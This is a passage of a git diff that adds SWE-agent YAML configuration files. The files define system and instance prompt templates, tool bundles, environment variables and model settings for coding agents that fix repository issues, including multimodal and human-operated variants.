instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + tools: + env_variables: + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: cache_control + last_n_messages: 2 diff --git a/config/default_backticks.yaml b/config/default_backticks.yaml new file mode 100644 index 0000000..09ff379 --- /dev/null +++ b/config/default_backticks.yaml @@ -0,0 +1,69 @@ +# Formerly called: anthropic_filemap.yaml +# This template is heavily inspired by anthropic's computer use demo, but you can use +# it with any LM. +agent: + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + tools: + env_variables: + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + enable_bash_tool: true + parse_function: + type: thought_action + history_processors: + - type: cache_control + last_n_messages: 2 diff --git a/config/default_mm_no_images.yaml b/config/default_mm_no_images.yaml new file mode 100644 index 0000000..b4cc9fc --- /dev/null +++ b/config/default_mm_no_images.yaml @@ -0,0 +1,82 @@ +# Configuration for SWE-agent with image viewing capabilities +# This extends the default config with image parsing history processor +# and the image_tools bundle for viewing images as base64-encoded markdown. +agent: + templates: + # disable_image_processing: false + disable_image_processing: true + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + + Note: You can use the view_image command to display images as embedded base64 data when relevant. + + If you need to start a command that has long-running output (e.g. a web server), you should _always_ use the following pattern: + server_command &> my_server_log.txt & + + This way you can see the server's output in the my_server_log.txt file and it will not block the rest of your work. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + max_observation_length: 10_000_000 # need longer for images + tools: + execution_timeout: 300 # need longer for builds + bundles: + - path: tools/registry + - path: tools/edit_anthropic + # - path: tools/image_tools # lets models view image files + # - path: tools/web_browser # browser tool for interacting with web servers + - path: tools/review_on_submit_m + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + enable_bash_tool: true + parse_function: + type: function_calling + # history_processors: + # - type: image_parsing # parses base64 encoded images in the observation + # - type: cache_control # enable for claude + # last_n_messages: 2 # enable for claude +instances: + type: swe_bench + subset: multimodal + split: dev + shuffle: true + # filter: processing__p5.js-6069 diff --git a/config/default_mm_with_images.yaml b/config/default_mm_with_images.yaml new file mode 100644 index 0000000..ca11206 --- /dev/null +++ b/config/default_mm_with_images.yaml @@ -0,0 +1,83 @@ +# Configuration for SWE-agent with image viewing capabilities +# This extends the default config with image parsing history processor +# and the image_tools bundle for viewing images as base64-encoded markdown. +agent: + templates: + disable_image_processing: false + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + + Note: You can use the view_image command to display images as embedded base64 data when relevant. + You'll also be given access browser tools to interact with the web or a local server. + In the browser, your mouse is shown as a red crosshair. + + If you need to start a command that has long-running output (e.g. a web server), you should _always_ use the following pattern: + server_command &> my_server_log.txt & + + This way you can see the server's output in the my_server_log.txt file and it will not block the rest of your work. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + max_observation_length: 10_000_000 # need longer for images + tools: + execution_timeout: 300 # need longer for builds + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/image_tools # lets models view image files + - path: tools/web_browser # browser tool for interacting with web servers + - path: tools/review_on_submit_m + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: image_parsing # parses base64 encoded images in the observation + # - type: cache_control # enable for claude + # last_n_messages: 2 # enable for claude +instances: + type: swe_bench + subset: multimodal + split: dev + shuffle: true + # filter: processing__p5.js-6069 diff --git a/config/demo/default.yaml b/config/demo/default.yaml new file mode 100644 index 0000000..e2da187 --- /dev/null +++ b/config/demo/default.yaml @@ -0,0 +1,80 @@ +# Formerly called: anthropic_filemap.yaml +# This template is heavily inspired by anthropic's computer use demo, but you can use +# it with any LM. +agent: + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + tools: + env_variables: + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: cache_control + last_n_messages: 2 + model: + name: claude-sonnet-4-20250514 +env: + repo: + github_url: https://github.com/SWE-agent/test-repo + deployment: + image: tiny + python_standalone_dir: "" +problem_statement: + github_url: + https://github.com/SWE-agent/test-repo/issues/1 diff --git a/config/demo/no_instructions.yaml b/config/demo/no_instructions.yaml new file mode 100644 index 0000000..193995f --- /dev/null +++ b/config/demo/no_instructions.yaml @@ -0,0 +1,69 @@ +# Formerly called: anthropic_filemap.yaml +# This template is heavily inspired by anthropic's computer use demo, but you can use +# it with any LM. +agent: + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + tools: + env_variables: + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/edit_anthropic + - path: tools/review_on_submit_m + registry_variables: + USE_FILEMAP: 'true' + SUBMIT_REVIEW_MESSAGES: + - | + Thank you for your work on this issue. Please carefully follow the steps below to help review your changes. + + 1. If you made any changes to your code after running the reproduction script, please run the reproduction script again. + If the reproduction script is failing, please revisit your changes and make sure they are correct. + If you have already removed your reproduction script, please ignore this step. + 2. Remove your reproduction script (if you haven't done so already). + 3. If you have modified any TEST files, please revert them to the state they had before you started fixing the issue. + You can do this with `git checkout -- /path/to/test/file.py`. Use below to find the files you need to revert. + 4. Run the submit command again to confirm. + + Here is a list of all of your changes: + + + {{diff}} + + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: cache_control + last_n_messages: 2 + model: + name: claude-sonnet-4-20250514 +env: + repo: + github_url: https://github.com/SWE-agent/test-repo + deployment: + image: tiny + python_standalone_dir: "" +problem_statement: + github_url: + https://github.com/SWE-agent/test-repo/issues/1 diff --git a/config/demo/only_bash.yaml b/config/demo/only_bash.yaml new file mode 100644 index 0000000..84ad7b9 --- /dev/null +++ b/config/demo/only_bash.yaml @@ -0,0 +1,60 @@ +# Formerly called: anthropic_filemap.yaml +# This template is heavily inspired by anthropic's computer use demo, but you can use +# it with any LM. +agent: + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + tools: + env_variables: + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/submit + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: cache_control + last_n_messages: 2 + model: + name: claude-sonnet-4-20250514 +env: + repo: + github_url: https://github.com/SWE-agent/test-repo + deployment: + image: tiny + python_standalone_dir: "" +problem_statement: + github_url: + https://github.com/SWE-agent/test-repo/issues/1 diff --git a/config/exotic/default_shell.yaml b/config/exotic/default_shell.yaml new file mode 100644 index 0000000..c2be820 --- /dev/null +++ b/config/exotic/default_shell.yaml @@ -0,0 +1,52 @@ +# For use with sweagent sh +agent: + type: shell + templates: + system_template: |- + You are a helpful assistant that can interact with a computer to solve tasks. + instance_template: |- + + {{working_dir}} + + I've uploaded a python code repository in the directory {{working_dir}}. Consider the following PR description: + + + {{problem_statement}} + + + Can you help me implement the necessary changes to the repository so that the requirements specified in the are met? + I've already taken care of all changes to any of the test files described in the . This means you DON'T have to modify the testing logic or any of the tests in any way! + Your task is to make the minimal changes to non-tests files in the {{working_dir}} directory to ensure the is satisfied. + Follow these steps to resolve the issue: + 1. As a first step, it might be a good idea to find and read code relevant to the + 2. Create a script to reproduce the error and execute it with `python ` using the bash tool, to confirm the error + 3. Edit the sourcecode of the repo to resolve the issue + 4. Rerun your reproduce script and confirm that the error is fixed! + 5. Think about edgecases and make sure your fix handles them as well + Your thinking should be thorough and so it's fine if it's very long. + next_step_template: |- + OBSERVATION: + {{observation}} + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + tools: + env_variables: + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/edit_anthropic + registry_variables: + USE_FILEMAP: 'true' + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: cache_control + last_n_messages: 2 + model: + name: claude-sonnet-4-20250514 \ No newline at end of file diff --git a/config/exotic/windowed_replace.yaml b/config/exotic/windowed_replace.yaml new file mode 100644 index 0000000..4c12503 --- /dev/null +++ b/config/exotic/windowed_replace.yaml @@ -0,0 +1,125 @@ +# This config uses the windowed-replace tools together with a prompt similar to +agent: + templates: + system_template: |- + SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface. + + The special interface consists of a file editor that shows you {{WINDOW}} lines of a file at a time. + In addition to typical bash commands, you can also use specific commands to help you navigate and edit files. + To call a command, you need to invoke it with a function call/tool call. + + Please note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. + + For example, if you are looking at this file: + + def fct(): + print("Hello world") + + and you want to edit the file to read: + + def fct(): + print("Hello") + print("world") + + you search string should be `Hello world` and your replace string should be `"Hello"\n print("world")` + (note the extra spaces before the print statement!). + + You could also get the same result by search for ` print("Hello world")` and replace with ` print("Hello")\n print("world")`. + + RESPONSE FORMAT: + Your shell prompt is formatted as follows: + (Open file: ) + (Current directory: ) + bash-$ + + First, you should _always_ include a general thought about what you're going to do next. + Then, for every response, you must include exactly _ONE_ tool call/function call. + + Remember, you should always include a _SINGLE_ tool call/function call and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference. + If you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first tool call, and then after receiving a response you'll be able to issue the second . + Note that the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them. + instance_template: |- + We're currently solving the following issue within our repository. Here's the issue text: + ISSUE: + {{problem_statement}} + + INSTRUCTIONS: + Now, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. + Remember, YOU SHOULD ALWAYS INCLUDE EXACTLY ONE TOOL CALL/FUNCTION CALL PER RESPONSE. + When you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command. + Note however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with the python command. + + NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! + + GENERAL IMPORTANT TIPS: + + 1. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it! + + 2. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. + + 3. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file "buggy-input.png" If that doesn't work, use the linux 'find' command. + + 4. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file. + + 5. When editing files, it is easy to accidentally to write code with incorrect indentation or make other mistakes. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it. + + 6. When editing files, first explain the code you want to edit and why it is causing the problem. Then explain the edit you want to make and how it fixes the problem. Explain how the edit does not break existing functionality. + + 7. Do not try to install any packages with `pip`, `conda`, or any other way. This will usually not work. If the environment is not set up correctly, try to fix the issue without executing python code or running any tests that require the package installed. + + STRATEGY: + + 1. Always start by trying to replicate the bug that the issues discusses. + If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug. + Then start trying to fix it. + + If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print("Script completed successfully, no errors.") command at the end of the file, + so that you can be sure that the script indeed ran fine all the way through. + + 2. Locate relevant code using the find and search commands. `open` the file you want to edit. + + 3. Use the `edit` command to perform edits. + + 4. When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed. + + 5. Create additional tests to verify the fix in a style similar to the existing reproduction script. In particular, make sure to test edge cases. + If you find any issues, go back to the file you edited and perform further edits. + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + demonstrations: + - trajectories/demonstrations/replay__marshmallow-code__marshmallow-1867__function_calling_replace__install-1/marshmallow-code__marshmallow-1867.traj + put_demos_in_history: true + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_replace + - path: tools/submit + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: last_n_observations + n: 5 diff --git a/config/exotic/windowed_replace_late_repro.yaml b/config/exotic/windowed_replace_late_repro.yaml new file mode 100644 index 0000000..cb93f4a --- /dev/null +++ b/config/exotic/windowed_replace_late_repro.yaml @@ -0,0 +1,127 @@ +# This config is similar to windowed_replace.yaml, but with a slightly tweaked prompt that encourages the model +# to write the reproduction script _after_ it has investigated the codebase. +agent: + templates: + system_template: |- + SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface. + + The special interface consists of a file editor that shows you {{WINDOW}} lines of a file at a time. + In addition to typical bash commands, you can also use specific commands to help you navigate and edit files. + To call a command, you need to invoke it with a function call/tool call. + + Please note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. + + For example, if you are looking at this file: + + def fct(): + print("Hello world") + + and you want to edit the file to read: + + def fct(): + print("Hello") + print("world") + + you search string should be `Hello world` and your replace string should be `"Hello"\n print("world")` + (note the extra spaces before the print statement!). + + You could also get the same result by search for ` print("Hello world")` and replace with ` print("Hello")\n print("world")`. + + RESPONSE FORMAT: + Your shell prompt is formatted as follows: + (Open file: ) + (Current directory: ) + bash-$ + + First, you should _always_ include a general thought about what you're going to do next. + Then, for every response, you must include exactly _ONE_ tool call/function call. + + Remember, you should always include a _SINGLE_ tool call/function call and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference. + If you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first tool call, and then after receiving a response you'll be able to issue the second . + Note that the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them. + instance_template: |- + We're currently solving the following issue within our repository. Here's the issue text: + ISSUE: + {{problem_statement}} + + INSTRUCTIONS: + Now, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. + Remember, YOU SHOULD ALWAYS INCLUDE EXACTLY ONE TOOL CALL/FUNCTION CALL PER RESPONSE. + When you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply running the submit command. + Note however that you cannot use any interactive session commands (e.g. python, vim) in this environment, but you can write scripts and run them. E.g. you can write a python script and then run it with the python command. + + NOTE ABOUT THE EDIT COMMAND: Indentation really matters! When editing a file, make sure to insert appropriate indentation before each line! + + GENERAL IMPORTANT TIPS: + + 1. If you run a command and it doesn't work, try running a different command. A command that did not work once will not work the second time unless you modify it! + + 2. If you open a file and need to get to an area around a specific line that is not in the first 100 lines, say line 583, don't just use the scroll_down command multiple times. Instead, use the goto 583 command. It's much quicker. + + 3. If the bug reproduction script requires inputting/reading a specific file, such as buggy-input.png, and you'd like to understand how to input that file, conduct a search in the existing repo code, to see whether someone else has already done that. Do this by running the command: find_file "buggy-input.png" If that doesn't work, use the linux 'find' command. + + 4. Always make sure to look at the currently open file and the current working directory (which appears right after the currently open file). The currently open file might be in a different directory than the working directory! Note that some commands, such as 'create', open files, so they might change the current open file. + + 5. When editing files, it is easy to accidentally to write code with incorrect indentation or make other mistakes. Always check the code after you issue an edit to make sure that it reflects what you wanted to accomplish. If it didn't, issue another command to fix it. + + 6. When editing files, first explain the code you want to edit and why it is causing the problem. Then explain the edit you want to make and how it fixes the problem. Explain how the edit does not break existing functionality. + + 7. Do not try to install any packages with `pip`, `conda`, or any other way. This will usually not work. If the environment is not set up correctly, try to fix the issue without executing python code or running any tests that require the package installed. + + STRATEGY: + + 1. Locate relevant files using the find and search commands, then read the code related to the issue. + + 2. Try to replicate the bug that the issues discusses. + If the issue includes code for reproducing the bug, we recommend that you re-implement that in your environment, and run it to make sure you can reproduce the bug. + Then start trying to fix it. + + If the bug reproduction script does not print anything when it successfully runs, we recommend adding a print("Script completed successfully, no errors.") command at the end of the file, + so that you can be sure that the script indeed ran fine all the way through. + + 3. Use the `edit` command to perform edits on the files that cause the issue. + + 4. When you think you've fixed the bug, re-run the bug reproduction script to make sure that the bug has indeed been fixed. + + 5. Create additional tests to verify the fix in a style similar to the existing reproduction script. In particular, make sure to test edge cases. + If you find any issues, go back to the file you edited and perform further edits. + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + demonstrations: + - trajectories/demonstrations/function_calling_simple.traj + put_demos_in_history: true + tools: + submit_command: "submit -f" + env_variables: + WINDOW: 100 + OVERLAP: 2 + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_replace + - path: tools/submit + enable_bash_tool: true + parse_function: + type: function_calling + history_processors: + - type: last_n_observations + n: 5 diff --git a/config/human/human.yaml b/config/human/human.yaml new file mode 100644 index 0000000..45e59e3 --- /dev/null +++ b/config/human/human.yaml @@ -0,0 +1,24 @@ +env: + deployment: + image: python:3.11 +agent: + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_linting + - path: tools/submit + parse_function: + type: thought_action + model: + name: human diff --git a/config/human/human_demo.yaml b/config/human/human_demo.yaml new file mode 100644 index 0000000..2e3242d --- /dev/null +++ b/config/human/human_demo.yaml @@ -0,0 +1,52 @@ +env: + deployment: + image: python:3.11 +agent: + templates: + system_template: |- + Enter any commands you want to run. + + There are a few special commands you can use to raise exceptions for testing: + `raise_runtime`, `raise_cost`, `raise_context`, `raise_function_calling:`, + etc. + instance_template: |- + We're currently solving the following issue within our repository. Here's the issue text: + ISSUE: + {{problem_statement}} + + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_template: |- + {{observation}} + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + next_step_no_output_template: |- + Your command ran successfully and did not produce any output. + (Open file: {{open_file}}) + (Current directory: {{working_dir}}) + bash-$ + tools: + env_variables: + WINDOW: 100 + OVERLAP: 2 + PAGER: cat + MANPAGER: cat + LESS: -R + PIP_PROGRESS_BAR: 'off' + TQDM_DISABLE: '1' + GIT_PAGER: cat + bundles: + - path: tools/registry + - path: tools/windowed + - path: tools/search + - path: tools/windowed_edit_linting + - path: tools/submit + parse_function: + type: thought_action + history_processors: + - type: last_n_observations + n: 5 + model: + name: human_thought diff --git a/config/sweagent_0_7/07.yaml b/config/sweagent_0_7/07.yaml new file mode 100644 index 0000000..05f867b --- /dev/null +++ b/config/sweagent_0_7/07.yaml @@ -0,0 +1,101 @@ +# This is the configuration from SWE-agent 0.7 +agent: + templates: + system_template: |- + SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface. + + The special interface consists of a file editor that shows you {{WINDOW}} lines of a file at a time. + In addition to typical bash commands, you can also use the following commands to help you navigate and edit files. + + COMMANDS: + {{command_docs}} + + Please note that THE EDIT COMMAND REQUIRES PROPER INDENTATION. + If you'd like to add the line ' print(x)' you must fully write that out, with all those spaces before the code! Indentation is important and code that is not indented correctly will fail and require fixing before it can be run. + + RESPONSE FORMAT: + Your shell prompt is formatted as follows: + (Open file: ) $ + + You need to format your output using two fields; discussion and command. + Your output should always include _one_ discussion and _one_ command field EXACTLY as in the following example: + DISCUSSION + First I'll start by using ls to see what files are in the current directory. Then maybe we can look at some relevant files to see what they look like. + ``` + ls -a + ``` + + You should only include a *SINGLE* command in the command section and then wait for a response from the shell before continuing with more discussion and commands. Everything you include in the DISCUSSION section will be saved for future reference. + If you'd like to issue two commands at once, PLEASE DO NOT DO THAT! Please instead first submit just the first command, and then after receiving a response you'll be able to issue the second command. + You're free to use any other bash commands you want (e.g. find, grep, cat, ls, cd) in addition to the special commands listed above. + However, the environment does NOT support interactive session commands (e.g. python, vim), so please do not invoke them. + instance_template: |- + We're currently solving the following issue within our repository. Here's the issue text: + ISSUE: + {{problem_statement}} + + INSTRUCTIONS: + Now, you're going to solve this issue on your own. Your terminal session has started and you're in the repository's root directory. You can use any bash commands or the special interface to help you. Edit all the files you need to and run any checks or tests that you want. + Remember, YOU CAN ONLY ENTER ONE COMMAND AT A TIME. You should always wait for feedback after every command. + When you're satisfied with all of the changes you've made, you can submit your changes to the code base by simply 